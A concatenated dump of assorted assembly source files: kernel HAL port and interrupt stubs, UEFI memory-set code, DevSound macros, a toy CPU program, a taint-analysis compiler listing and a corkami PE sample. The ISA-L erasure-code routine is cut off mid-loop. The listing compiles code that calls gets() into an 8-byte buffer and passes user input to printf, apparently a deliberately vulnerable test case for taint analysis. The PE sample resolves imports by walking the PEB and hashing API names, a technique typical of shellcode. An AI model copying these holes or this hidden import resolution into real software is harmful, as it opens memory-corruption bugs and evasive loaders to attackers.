LOOP_FILTER_WDSETS v, 12
| endlessm/chromium-browser | third_party/ffmpeg/libavcodec/x86/vp9lpf_16bpp.asm | Assembly | bsd-3-clause | 24,829 |
bits 32
section .text
;; loadGDT: func (GDTDescriptor*)
global loadGDT
loadGDT:
push eax
mov eax, [esp+0x8] ; get the struct pointer
lgdt [eax] ; load the GDT
pop eax
;; Reload CS register containing code selector:
;; We can't directly alter CS, so we far jump to change it
jmp 0x08:.reload_CS ; 0x08 points at the new code selector (2nd in our GDT)
.reload_CS:
;; Reload data segment registers:
mov ax, 0x10 ; 0x10 points at the new data selector (3rd in our GDT)
mov ds, ax
mov es, ax
mov fs, ax
mov gs, ax
mov ss, ax
;; return from loadGDT
ret
;; loadIDT: func (IDTDescriptor*)
global loadIDT
loadIDT:
push eax
mov eax, [esp+0x8] ; get the struct pointer
lidt [eax] ; load the IDT
pop eax
ret ; return
;; enableInterrupts: func
global enableInterrupts
enableInterrupts:
sti
ret
;; disableInterrupts: func
global disableInterrupts
disableInterrupts:
cli
ret
;; halt: func
global halt
halt:
hlt
;;;
;;; Ports
;;;
;; outByte: func (port: UInt16, val: UInt8)
global outByte
outByte:
mov eax, [esp+8] ; val
mov edx, [esp+4] ; port
out dx, al
ret
;; inByte: func (port: UInt16) -> UInt8
global inByte
inByte:
mov edx, [esp+4] ; port
in al, dx
ret
;; outWord: func (port: UInt16, val: UInt16)
global outWord
outWord:
mov eax, [esp+8] ; val
mov edx, [esp+4] ; port
out dx, ax
ret
;; inWord: func (port: UInt16) -> UInt16
global inWord
inWord:
mov edx, [esp+4] ; port
in ax, dx
ret
;; outLong: func (port: UInt16, val: UInt32)
global outLong
outLong:
mov eax, [esp+8] ; val
mov edx, [esp+4] ; port
out dx, eax
ret
;; inLong: func (port: UInt16) -> UInt32
global inLong
inLong:
mov edx, [esp+4] ; port
in eax, dx
ret
;;;
;;; Exceptions, ISRs, IRQs, SysCalls
;;;
extern isrHandler
extern irqHandler
global isrSyscall
isrSyscall:
cli
push 0
push 0x80
jmp isrCommon
iret
%macro HANDLER_COMMON 1
%1Common:
pusha
push ds
push es
push fs
push gs
mov ax, 0x10
mov ds, ax
mov es, ax
mov fs, ax
mov gs, ax
mov eax, esp
push eax
mov eax, %1Handler
call eax
pop eax
pop gs
pop fs
pop es
pop ds
popa
add esp, 8
iret
%endmacro
; ISRs!
%macro ISR_COMMON 1
global isr%1
isr%1:
cli
push byte 0
push byte %1
jmp isrCommon
iret
%endmacro
%macro ISR_ABORT 1
ISR_COMMON %1
%endmacro
%macro ISR_FAULT 1
ISR_COMMON %1
%endmacro
%macro ISR_INTR 1
ISR_COMMON %1
%endmacro
%macro ISR_RESV 1
ISR_COMMON %1
%endmacro
%macro ISR_TRAP 1
ISR_COMMON %1
%endmacro
section .text
ISR_FAULT 0
ISR_FAULT 1
ISR_INTR 2
ISR_TRAP 3
ISR_TRAP 4
ISR_FAULT 5
ISR_FAULT 6
ISR_FAULT 7
ISR_ABORT 8
ISR_FAULT 9
ISR_FAULT 10
ISR_FAULT 11
ISR_FAULT 12
ISR_FAULT 13
ISR_FAULT 14
ISR_FAULT 15
ISR_FAULT 16
ISR_FAULT 17
ISR_ABORT 18
ISR_FAULT 19
ISR_RESV 20
ISR_RESV 21
ISR_RESV 22
ISR_RESV 23
ISR_RESV 24
ISR_RESV 25
ISR_RESV 26
ISR_RESV 27
ISR_RESV 28
ISR_RESV 29
ISR_RESV 30
ISR_RESV 31
HANDLER_COMMON isr
; IRQs!
%macro IRQ_COMMON 2
global irq%1
irq%1:
cli
push byte 0
push byte %2
jmp irqCommon
iret
%endmacro
IRQ_COMMON 0, 32
IRQ_COMMON 1, 33
IRQ_COMMON 2, 34
IRQ_COMMON 3, 35
IRQ_COMMON 4, 36
IRQ_COMMON 5, 37
IRQ_COMMON 6, 38
IRQ_COMMON 7, 39
IRQ_COMMON 8, 40
IRQ_COMMON 9, 41
IRQ_COMMON 10, 42
IRQ_COMMON 11, 43
IRQ_COMMON 12, 44
IRQ_COMMON 13, 45
IRQ_COMMON 14, 46
IRQ_COMMON 15, 47
HANDLER_COMMON irq
| fasterthanlime/oos | Src/Kernel/Hal/Hal.asm | Assembly | mit | 3,394 |
%include "include.asm"
section .text
global flush_gdt_tss
flush_gdt_tss:
; rdi: gdt
; rsi: GDT_SIZE
; rdx: tss
sub rsp, 10
mov word [rsp], si
mov qword [rsp + 2], rdi
lgdt [rsp]
mov ax, GDT_TSS
ltr ax
add rsp, 10
ret
| vincegogh/ByteOS | kernel/cpu/flush.asm | Assembly | mit | 234 |
; Listing generated by Microsoft (R) Optimizing Compiler Version 19.00.23506.0
include listing.inc
INCLUDELIB MSVCRT
INCLUDELIB OLDNAMES
PUBLIC __local_stdio_printf_options
PUBLIC _vfprintf_l
PUBLIC printf
PUBLIC func
PUBLIC main
EXTRN __imp___acrt_iob_func:PROC
EXTRN __imp___stdio_common_vfprintf:PROC
EXTRN gets:PROC
EXTRN __GSHandlerCheck:PROC
EXTRN __security_check_cookie:PROC
EXTRN __security_cookie:QWORD
_DATA SEGMENT
COMM ?_OptionsStorage@?1??__local_stdio_printf_options@@9@9:QWORD ; `__local_stdio_printf_options'::`2'::_OptionsStorage
_DATA ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$_vfprintf_l DD imagerel $LN4
DD imagerel $LN4+81
DD imagerel $unwind$_vfprintf_l
pdata ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$printf DD imagerel $LN4
DD imagerel $LN4+66
DD imagerel $unwind$printf
pdata ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$func DD imagerel $LN4
DD imagerel $LN4+83
DD imagerel $unwind$func
pdata ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$main DD imagerel $LN4
DD imagerel $LN4+94
DD imagerel $unwind$main
pdata ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$main DD 010401H
DD 0c204H
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$func DD 021519H
DD 030025206H
DD imagerel __GSHandlerCheck
DD 028H
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$printf DD 021901H
DD 030153219H
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$_vfprintf_l DD 081401H
DD 0a6414H
DD 095414H
DD 083414H
DD 070105214H
xdata ENDS
; Function compile flags: /Ogtpy
; File d:\projects\taintanalysis\antitaint\epilog\src\func-rets.c
; COMDAT main
_TEXT SEGMENT
b$2$ = 32
$T1 = 32
a$2$ = 56
$T2 = 72
$T3 = 72
b$ = 72
main PROC ; COMDAT
; 25 : {
$LN4:
sub rsp, 104 ; 00000068H
; 26 : struct S a,b,c;
; 27 : int z = 0;
; 28 : a = func();
lea rcx, QWORD PTR $T1[rsp]
call func
; 29 : z += a.a;
; 30 : b = func();
lea rcx, QWORD PTR $T3[rsp]
movups xmm0, XMMWORD PTR [rax]
movups XMMWORD PTR a$2$[rsp], xmm0
call func
; 31 : c = func();
lea rcx, QWORD PTR $T2[rsp]
movups xmm0, XMMWORD PTR [rax]
mov eax, DWORD PTR [rax+16]
mov DWORD PTR b$[rsp+16], eax
movups XMMWORD PTR b$2$[rsp], xmm0
call func
; 32 : z += c.c + b.b;
movups xmm0, XMMWORD PTR b$2$[rsp]
movups xmm1, XMMWORD PTR [rax]
psrldq xmm0, 4
psrldq xmm1, 8
movd eax, xmm1
movd ecx, xmm0
add eax, ecx
add eax, DWORD PTR a$2$[rsp]
; 33 : return z;
; 34 : }
add rsp, 104 ; 00000068H
ret 0
main ENDP
_TEXT ENDS
; Function compile flags: /Ogtpy
; File d:\projects\taintanalysis\antitaint\epilog\src\func-rets.c
; COMDAT func
_TEXT SEGMENT
buf$ = 32
__$ArrayPad$ = 40
$T1 = 64
func PROC ; COMDAT
; 15 : {
$LN4:
push rbx
sub rsp, 48 ; 00000030H
mov rax, QWORD PTR __security_cookie
xor rax, rsp
mov QWORD PTR __$ArrayPad$[rsp], rax
mov rbx, rcx
; 16 : char buf[8];
; 17 : struct S s;
; 18 : s.a = (int)gets(buf) - (int)buf;
lea rcx, QWORD PTR buf$[rsp]
call gets
lea rcx, QWORD PTR buf$[rsp]
sub eax, ecx
; 19 : s.b = printf(buf);
lea rcx, QWORD PTR buf$[rsp]
mov DWORD PTR [rbx], eax
call printf
mov DWORD PTR [rbx+4], eax
; 20 : s.c = s.a + s.b;
add eax, DWORD PTR [rbx]
mov DWORD PTR [rbx+8], eax
; 21 : return s;
mov rax, rbx
; 22 : }
mov rcx, QWORD PTR __$ArrayPad$[rsp]
xor rcx, rsp
call __security_check_cookie
add rsp, 48 ; 00000030H
pop rbx
ret 0
func ENDP
_TEXT ENDS
; Function compile flags: /Ogtpy
; File c:\program files (x86)\windows kits\10\include\10.0.10240.0\ucrt\stdio.h
; COMDAT printf
_TEXT SEGMENT
_Format$ = 48
printf PROC ; COMDAT
; 950 : {
$LN4:
mov QWORD PTR [rsp+8], rcx
mov QWORD PTR [rsp+16], rdx
mov QWORD PTR [rsp+24], r8
mov QWORD PTR [rsp+32], r9
push rbx
sub rsp, 32 ; 00000020H
; 951 : int _Result;
; 952 : va_list _ArgList;
; 953 : __crt_va_start(_ArgList, _Format);
; 954 : _Result = _vfprintf_l(stdout, _Format, NULL, _ArgList);
mov ecx, 1
lea rbx, QWORD PTR _Format$[rsp+8]
call QWORD PTR __imp___acrt_iob_func
mov rdx, QWORD PTR _Format$[rsp]
mov r9, rbx
mov rcx, rax
xor r8d, r8d
call _vfprintf_l
; 955 : __crt_va_end(_ArgList);
; 956 : return _Result;
; 957 : }
add rsp, 32 ; 00000020H
pop rbx
ret 0
printf ENDP
_TEXT ENDS
; Function compile flags: /Ogtpy
; File c:\program files (x86)\windows kits\10\include\10.0.10240.0\ucrt\stdio.h
; COMDAT _vfprintf_l
_TEXT SEGMENT
_Stream$ = 64
_Format$ = 72
_Locale$ = 80
_ArgList$ = 88
_vfprintf_l PROC ; COMDAT
; 638 : {
$LN4:
mov QWORD PTR [rsp+8], rbx
mov QWORD PTR [rsp+16], rbp
mov QWORD PTR [rsp+24], rsi
push rdi
sub rsp, 48 ; 00000030H
mov rbx, r9
mov rdi, r8
mov rsi, rdx
mov rbp, rcx
; 639 : return __stdio_common_vfprintf(_CRT_INTERNAL_LOCAL_PRINTF_OPTIONS, _Stream, _Format, _Locale, _ArgList);
call __local_stdio_printf_options
mov r9, rdi
mov QWORD PTR [rsp+32], rbx
mov r8, rsi
mov rdx, rbp
mov rcx, QWORD PTR [rax]
call QWORD PTR __imp___stdio_common_vfprintf
; 640 : }
mov rbx, QWORD PTR [rsp+64]
mov rbp, QWORD PTR [rsp+72]
mov rsi, QWORD PTR [rsp+80]
add rsp, 48 ; 00000030H
pop rdi
ret 0
_vfprintf_l ENDP
_TEXT ENDS
; Function compile flags: /Ogtpy
; File c:\program files (x86)\windows kits\10\include\10.0.10240.0\ucrt\corecrt_stdio_config.h
; COMDAT __local_stdio_printf_options
_TEXT SEGMENT
__local_stdio_printf_options PROC ; COMDAT
; 74 : static unsigned __int64 _OptionsStorage;
; 75 : return &_OptionsStorage;
lea rax, OFFSET FLAT:?_OptionsStorage@?1??__local_stdio_printf_options@@9@9 ; `__local_stdio_printf_options'::`2'::_OptionsStorage
; 76 : }
ret 0
__local_stdio_printf_options ENDP
_TEXT ENDS
END
| Dovgalyuk/AntiTaint | Epilog/asm/MSVC2015-64/func-rets-omitfp-opt-stackp.asm | Assembly | apache-2.0 | 5,958 |
; ================================================================
; DevSound macros
; ================================================================
if !def(incDSMacros)
incDSMacros set 1
Instrument: macro
db \1
if "\2" == "_"
dw DummyTable
else
dw vol_\2
endc
if "\3" == "_"
dw DummyTable
else
dw arp_\3
endc
if "\4" == "_"
dw DummyTable
else
dw waveseq_\4
endc
if "\5" == "_"
dw vib_Dummy
else
dw vib_\5
endc
endm
Drum: macro
db SetInstrument,id_\1,fix,\2
endm
; Enumerate constants
const_def: macro
const_value = 0
endm
const: macro
if "\1" != "skip"
\1 equ const_value
endc
const_value = const_value + 1
ENDM
dbw: macro
db \1
dw \2
endm
dins: macro
const id_\1
dw ins_\1
endm
endc
| DevEd2/DevSound | DevSound_Macros.asm | Assembly | mit | 782 |
; Initialize the stack pointer
MOV XL, 0xFF
MOV XH, 0xFF
MOV SP, X
; Call some subroutines...
CALL :ADD_FUNCTION
MOV G, 3
; Write register G to the Output Port
OUTB G
CALL :SUB_FUNCTION
MOV G, 4
; Write register G to the Output Port
OUTB G
; Stops program execution
HLT
:ADD_FUNCTION
MOV G, 1
; Write register G to the Output Port
OUTB G
RET
:SUB_FUNCTION
MOV G, 2
; Write register G to the Output Port
OUTB G
RET | KPU-RISC/KPU | Assembler/AssemblyCode/CALL_ALU.asm | Assembly | mit | 426 |
; a DLL with no DLLMain, and no imports (to be loaded dynamically)
; Ange Albertini, BSD LICENCE 2012-2013
%include 'consts.inc'
IMAGEBASE equ 1000000h
org IMAGEBASE
bits 32
SECTIONALIGN equ 1000h
FILEALIGN equ 200h
istruc IMAGE_DOS_HEADER
at IMAGE_DOS_HEADER.e_magic, db 'MZ'
at IMAGE_DOS_HEADER.e_lfanew, dd NT_Headers - IMAGEBASE
iend
NT_Headers:
istruc IMAGE_NT_HEADERS
at IMAGE_NT_HEADERS.Signature, db 'PE', 0, 0
iend
istruc IMAGE_FILE_HEADER
at IMAGE_FILE_HEADER.Machine, dw IMAGE_FILE_MACHINE_I386
at IMAGE_FILE_HEADER.NumberOfSections, dw NUMBEROFSECTIONS
at IMAGE_FILE_HEADER.SizeOfOptionalHeader, dw SIZEOFOPTIONALHEADER
at IMAGE_FILE_HEADER.Characteristics, dw IMAGE_FILE_EXECUTABLE_IMAGE
iend
OptionalHeader:
istruc IMAGE_OPTIONAL_HEADER32
at IMAGE_OPTIONAL_HEADER32.Magic, dw IMAGE_NT_OPTIONAL_HDR32_MAGIC
at IMAGE_OPTIONAL_HEADER32.AddressOfEntryPoint, dd 31415926h ;<============================
at IMAGE_OPTIONAL_HEADER32.ImageBase, dd IMAGEBASE
at IMAGE_OPTIONAL_HEADER32.SectionAlignment, dd SECTIONALIGN
at IMAGE_OPTIONAL_HEADER32.FileAlignment, dd FILEALIGN
at IMAGE_OPTIONAL_HEADER32.MajorSubsystemVersion, dw 4
at IMAGE_OPTIONAL_HEADER32.SizeOfImage, dd 2 * SECTIONALIGN
at IMAGE_OPTIONAL_HEADER32.SizeOfHeaders, dd SIZEOFHEADERS
at IMAGE_OPTIONAL_HEADER32.Subsystem, dw IMAGE_SUBSYSTEM_WINDOWS_CUI
at IMAGE_OPTIONAL_HEADER32.NumberOfRvaAndSizes, dd 16
iend
istruc IMAGE_DATA_DIRECTORY_16
at IMAGE_DATA_DIRECTORY_16.ExportsVA, dd Exports_Directory - IMAGEBASE
; at IMAGE_DATA_DIRECTORY_16.ImportsVA, dd import_descriptor - IMAGEBASE ; imports won't be resolved anyway
; no relocs, lazy :)
iend
%include 'section_1fa.inc'
__exp__Export:
call LoadImports
_
push export
call [ddprintf]
add esp, 1 * 4
retn
_c
export db " # dynamically-loaded DLL with no DLLMain", 0ah, 0
_d
Exports_Directory: ;*************************************************************
istruc IMAGE_EXPORT_DIRECTORY
at IMAGE_EXPORT_DIRECTORY.nName, dd aDllName - IMAGEBASE
at IMAGE_EXPORT_DIRECTORY.NumberOfFunctions, dd NUMBER_OF_FUNCTIONS
at IMAGE_EXPORT_DIRECTORY.NumberOfNames, dd NUMBER_OF_NAMES
at IMAGE_EXPORT_DIRECTORY.AddressOfFunctions, dd address_of_functions - IMAGEBASE
at IMAGE_EXPORT_DIRECTORY.AddressOfNames, dd address_of_names - IMAGEBASE
at IMAGE_EXPORT_DIRECTORY.AddressOfNameOrdinals, dd address_of_name_ordinals - IMAGEBASE
iend
_d
aDllName db 'dllnomain2.dll', 0
_d
address_of_functions:
dd __exp__Export - IMAGEBASE
NUMBER_OF_FUNCTIONS equ ($ - address_of_functions) / 4
_d
address_of_names:
dd a__exp__Export - IMAGEBASE
NUMBER_OF_NAMES equ ($ - address_of_names) / 4
_d
address_of_name_ordinals:
dw 0
_d
a__exp__Export:
db 'export'
db 0
_d
EXPORT_SIZE equ $ - Exports_Directory
;*******************************************************************************
;generated with api_hash.py
LOADLIBRARYA equ 06FFFE488h
EXITPROCESS equ 031678333h
PRINTF equ 09DDEF696h
LoadImports:
; Locate Kernel32.dll imagebase
mov eax,[fs:030h] ; _TIB.PebPtr
mov eax,[eax + 0ch] ; _PEB.Ldr
mov eax,[eax + 0ch] ; _PEB_LDR_DATA.InLoadOrderModuleList.Flink
mov eax,[eax] ; _LDR_MODULE.InLoadOrderModuleList.Flink
mov eax,[eax] ; _LDR_MODULE.InLoadOrderModuleList.Flink
mov eax,[eax + 18h] ; _LDR_MODULE.BaseAddress
; brutal way, not as much compatible
; mov eax, [esp + 4]
; and eax, 0fff00000h
mov [hKernel32], eax
mov eax, [hKernel32]
mov ebx, LOADLIBRARYA
call GetProcAddress_Hash
mov [ddLoadLibrary], ebx
push szmsvcrt
call [ddLoadLibrary]
mov ebx, PRINTF
call GetProcAddress_Hash
mov [ddprintf], ebx
retn
_c
szmsvcrt db "msvcrt.dll", 0
_d
ddprintf dd 0
ddExitProcess dd 0
hKernel32 dd 0
ddLoadLibrary dd 0
%include 'gpa.inc'
align FILEALIGN, db 0
| angea/corkami | src/PE/dllnomain2.asm | Assembly | bsd-2-clause | 4,174 |
;/*++
;
;Copyright (c) 2006, Intel Corporation. All rights reserved.<BR>
;This program and the accompanying materials
;are licensed and made available under the terms and conditions of the BSD License
;which accompanies this distribution. The full text of the license may be found at
;http://opensource.org/licenses/bsd-license.php
;
;THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS,
;WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.
;
;Module Name:
;
; EfiSetMem.asm
;
;Abstract:
;
; This is the code that supports IA32-optimized SetMem service
;
;--*/
;---------------------------------------------------------------------------
.686
.model flat,C
.mmx
.code
;---------------------------------------------------------------------------
;VOID
;EfiCommonLibSetMem (
; IN VOID *Buffer,
; IN UINTN Count,
; IN UINT8 Value
; )
;/*++
;
;Input: VOID *Buffer - Pointer to buffer to write
; UINTN Count - Number of bytes to write
; UINT8 Value - Value to write
;
;Output: None.
;
;Saves:
;
;Modifies:
;
;Description: This function is an optimized set-memory function.
;
;Notes: This function tries to set memory 8 bytes at a time. As a result,
; it first picks up any misaligned bytes, then words, before getting
; in the main loop that does the 8-byte clears.
;
;--*/
EfiCommonLibSetMem PROC
push ebp
mov ebp, esp
sub esp, 10h; Reserve space for local variable UINT64 QWordValue @[ebp - 10H] & UINT64 MmxSave @[ebp - 18H]
push ebx
push edi
mov edx, [ebp + 0Ch] ; Count
test edx, edx
je _SetMemDone
push ebx
mov eax, [ebp + 8] ; Buffer
mov bl, [ebp + 10h] ; Value
mov edi, eax
mov bh, bl
cmp edx, 256
jb _SetRemindingByte
and al, 07h
test al, al
je _SetBlock
mov eax, edi
shr eax, 3
inc eax
shl eax, 3
sub eax, edi
cmp eax, edx
jnb _SetRemindingByte
sub edx, eax
mov ecx, eax
mov al, bl
rep stosb
_SetBlock:
mov eax, edx
shr eax, 6
test eax, eax
je _SetRemindingByte
shl eax, 6
sub edx, eax
shr eax, 6
mov WORD PTR [ebp - 10H], bx ; QWordValue[0]
mov WORD PTR [ebp - 10H + 2], bx ; QWordValue[2]
mov WORD PTR [ebp - 10H + 4], bx ; QWordValue[4]
mov WORD PTR [ebp - 10H + 6], bx ; QWordValue[6]
movq [ebp - 8], mm0 ; Save mm0 to MmxSave
movq mm0, [ebp - 10H] ; Load QWordValue to mm0
_B:
movq QWORD PTR ds:[edi], mm0
movq QWORD PTR ds:[edi+8], mm0
movq QWORD PTR ds:[edi+16], mm0
movq QWORD PTR ds:[edi+24], mm0
movq QWORD PTR ds:[edi+32], mm0
movq QWORD PTR ds:[edi+40], mm0
movq QWORD PTR ds:[edi+48], mm0
movq QWORD PTR ds:[edi+56], mm0
add edi, 64
dec eax
jnz _B
; Restore mm0
movq mm0, [ebp - 8] ; Restore MmxSave to mm0
emms ; Exit MMX Instruction
_SetRemindingByte:
mov ecx, edx
mov eax, ebx
shl eax, 16
mov ax, bx
shr ecx, 2
rep stosd
mov ecx, edx
and ecx, 3
rep stosb
pop ebx
_SetMemDone:
pop edi
pop ebx
leave
ret
EfiCommonLibSetMem ENDP
END
| google/google-ctf | third_party/edk2/EdkCompatibilityPkg/Foundation/Library/EfiCommonLib/Ia32/EfiSetMem.asm | Assembly | apache-2.0 | 3,608 |
; Moving around 8 bit and 16 bit subsections of eax, ebx, and ecx
SECTION .data
SECTION .text
global _start
_start:
nop
mov ax,067FEh
mov bx,ax
mov cl,bh
mov ch,bl
xchg cl,ch
mov eax,1 ; Code for Exit Syscall
mov ebx,0 ; Return a code of zero
int 80H ; Make kernel call
SECTION .bss
| inothnagel/asm | ex_mov_register_parts.asm | Assembly | mit | 336 |
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Copyright(c) 2011-2015 Intel Corporation All rights reserved.
;
; Redistribution and use in source and binary forms, with or without
; modification, are permitted provided that the following conditions
; are met:
; * Redistributions of source code must retain the above copyright
; notice, this list of conditions and the following disclaimer.
; * Redistributions in binary form must reproduce the above copyright
; notice, this list of conditions and the following disclaimer in
; the documentation and/or other materials provided with the
; distribution.
; * Neither the name of Intel Corporation nor the names of its
; contributors may be used to endorse or promote products derived
; from this software without specific prior written permission.
;
; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
; "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
; LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
; A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
; OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
; SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
; LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
; DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
; THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
; (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;
;;; gf_6vect_mad_avx(len, vec, vec_i, mul_array, src, dest);
;;;
%include "reg_sizes.asm"
%define PS 8
%ifidn __OUTPUT_FORMAT__, win64
%define arg0 rcx
%define arg0.w ecx
%define arg1 rdx
%define arg2 r8
%define arg3 r9
%define arg4 r12
%define arg5 r15
%define tmp r11
%define tmp2 r10
%define tmp3 r13
%define tmp4 r14
%define tmp5 rdi
%define return rax
%define return.w eax
%define stack_size 16*10 + 5*8
%define arg(x) [rsp + stack_size + PS + PS*x]
%define func(x) proc_frame x
%macro FUNC_SAVE 0
sub rsp, stack_size
movdqa [rsp+16*0],xmm6
movdqa [rsp+16*1],xmm7
movdqa [rsp+16*2],xmm8
movdqa [rsp+16*3],xmm9
movdqa [rsp+16*4],xmm10
movdqa [rsp+16*5],xmm11
movdqa [rsp+16*6],xmm12
movdqa [rsp+16*7],xmm13
movdqa [rsp+16*8],xmm14
movdqa [rsp+16*9],xmm15
save_reg r12, 10*16 + 0*8
save_reg r13, 10*16 + 1*8
save_reg r14, 10*16 + 2*8
save_reg r15, 10*16 + 3*8
save_reg rdi, 10*16 + 4*8
end_prolog
mov arg4, arg(4)
mov arg5, arg(5)
%endmacro
%macro FUNC_RESTORE 0
movdqa xmm6, [rsp+16*0]
movdqa xmm7, [rsp+16*1]
movdqa xmm8, [rsp+16*2]
movdqa xmm9, [rsp+16*3]
movdqa xmm10, [rsp+16*4]
movdqa xmm11, [rsp+16*5]
movdqa xmm12, [rsp+16*6]
movdqa xmm13, [rsp+16*7]
movdqa xmm14, [rsp+16*8]
movdqa xmm15, [rsp+16*9]
mov r12, [rsp + 10*16 + 0*8]
mov r13, [rsp + 10*16 + 1*8]
mov r14, [rsp + 10*16 + 2*8]
mov r15, [rsp + 10*16 + 3*8]
mov rdi, [rsp + 10*16 + 4*8]
add rsp, stack_size
%endmacro
%elifidn __OUTPUT_FORMAT__, elf64
%define arg0 rdi
%define arg0.w edi
%define arg1 rsi
%define arg2 rdx
%define arg3 rcx
%define arg4 r8
%define arg5 r9
%define tmp r11
%define tmp2 r10
%define tmp3 r12
%define tmp4 r13
%define tmp5 r14
%define return rax
%define return.w eax
%define func(x) x: endbranch
%macro FUNC_SAVE 0
push r12
push r13
push r14
%endmacro
%macro FUNC_RESTORE 0
pop r14
pop r13
pop r12
%endmacro
%endif
;;; gf_6vect_mad_avx(len, vec, vec_i, mul_array, src, dest)
%define len arg0
%define len.w arg0.w
%define vec arg1
%define vec_i arg2
%define mul_array arg3
%define src arg4
%define dest1 arg5
%define pos return
%define pos.w return.w
%define dest2 tmp4
%define dest3 tmp2
%define dest4 mul_array
%define dest5 tmp5
%define dest6 vec_i
%ifndef EC_ALIGNED_ADDR
;;; Use Un-aligned load/store
%define XLDR vmovdqu
%define XSTR vmovdqu
%else
;;; Use Non-temporal load/stor
%ifdef NO_NT_LDST
%define XLDR vmovdqa
%define XSTR vmovdqa
%else
%define XLDR vmovntdqa
%define XSTR vmovntdq
%endif
%endif
default rel
[bits 64]
section .text
%define xmask0f xmm15
%define xgft4_lo xmm14
%define xgft4_hi xmm13
%define xgft5_lo xmm12
%define xgft5_hi xmm11
%define xgft6_lo xmm10
%define xgft6_hi xmm9
%define x0 xmm0
%define xtmpa xmm1
%define xtmph1 xmm2
%define xtmpl1 xmm3
%define xtmph2 xmm4
%define xtmpl2 xmm5
%define xtmph3 xmm6
%define xtmpl3 xmm7
%define xd1 xmm8
%define xd2 xtmpl1
%define xd3 xtmph1
align 16
mk_global gf_6vect_mad_avx, function
func(gf_6vect_mad_avx)
FUNC_SAVE
sub len, 16
jl .return_fail
xor pos, pos
vmovdqa xmask0f, [mask0f] ;Load mask of lower nibble in each byte
mov tmp, vec
sal vec_i, 5 ;Multiply by 32
lea tmp3, [mul_array + vec_i]
sal tmp, 6 ;Multiply by 64
sal vec, 5 ;Multiply by 32
lea vec_i, [tmp + vec] ;vec_i = vec*96
lea mul_array, [tmp + vec_i] ;mul_array = vec*160
vmovdqu xgft5_lo, [tmp3+2*tmp] ;Load array Ex{00}, Ex{01}, ..., Ex{0f}
vmovdqu xgft5_hi, [tmp3+2*tmp+16] ; " Ex{00}, Ex{10}, ..., Ex{f0}
vmovdqu xgft4_lo, [tmp3+vec_i] ;Load array Dx{00}, Dx{01}, Dx{02}, ...
vmovdqu xgft4_hi, [tmp3+vec_i+16] ; " Dx{00}, Dx{10}, Dx{20}, ... , Dx{f0}
vmovdqu xgft6_lo, [tmp3+mul_array] ;Load array Fx{00}, Fx{01}, ..., Fx{0f}
vmovdqu xgft6_hi, [tmp3+mul_array+16] ; " Fx{00}, Fx{10}, ..., Fx{f0}
mov dest2, [dest1+PS]
mov dest3, [dest1+2*PS]
mov dest4, [dest1+3*PS] ; reuse mul_array
mov dest5, [dest1+4*PS]
mov dest6, [dest1+5*PS] ; reuse vec_i
mov dest1, [dest1]
.loop16:
XLDR x0, [src+pos] ;Get next source vector
vmovdqu xtmpl1, [tmp3] ;Load array Ax{00}, Ax{01}, Ax{02}, ...
vmovdqu xtmph1, [tmp3+16] ; " Ax{00}, Ax{10}, Ax{20}, ... , Ax{f0}
vmovdqu xtmpl2, [tmp3+vec] ;Load array Bx{00}, Bx{01}, Bx{02}, ...
vmovdqu xtmph2, [tmp3+vec+16] ; " Bx{00}, Bx{10}, Bx{20}, ... , Bx{f0}
vmovdqu xtmpl3, [tmp3+2*vec] ;Load array Cx{00}, Cx{01}, Cx{02}, ...
vmovdqu xtmph3, [tmp3+2*vec+16] ; " Cx{00}, Cx{10}, Cx{20}, ... , Cx{f0}
XLDR xd1, [dest1+pos] ;Get next dest vector
vpand xtmpa, x0, xmask0f ;Mask low src nibble in bits 4-0
vpsraw x0, x0, 4 ;Shift to put high nibble into bits 4-0
vpand x0, x0, xmask0f ;Mask high src nibble in bits 4-0
;dest1
vpshufb xtmph1, x0 ;Lookup mul table of high nibble
vpshufb xtmpl1, xtmpa ;Lookup mul table of low nibble
vpxor xtmph1, xtmpl1 ;GF add high and low partials
vpxor xd1, xtmph1
XLDR xd2, [dest2+pos] ;reuse xtmpl1. Get next dest vector
XLDR xd3, [dest3+pos] ;reuse xtmph1. Get next dest vector
;dest2
vpshufb xtmph2, x0 ;Lookup mul table of high nibble
vpshufb xtmpl2, xtmpa ;Lookup mul table of low nibble
vpxor xtmph2, xtmpl2 ;GF add high and low partials
vpxor xd2, xtmph2
;dest3
vpshufb xtmph3, x0 ;Lookup mul table of high nibble
vpshufb xtmpl3, xtmpa ;Lookup mul table of low nibble
vpxor xtmph3, xtmpl3 ;GF add high and low partials
vpxor xd3, xtmph3
XSTR [dest1+pos], xd1 ;Store result into dest1
XSTR [dest2+pos], xd2 ;Store result into dest2
XSTR [dest3+pos], xd3 ;Store result into dest3
;dest4
XLDR xd1, [dest4+pos] ;Get next dest vector
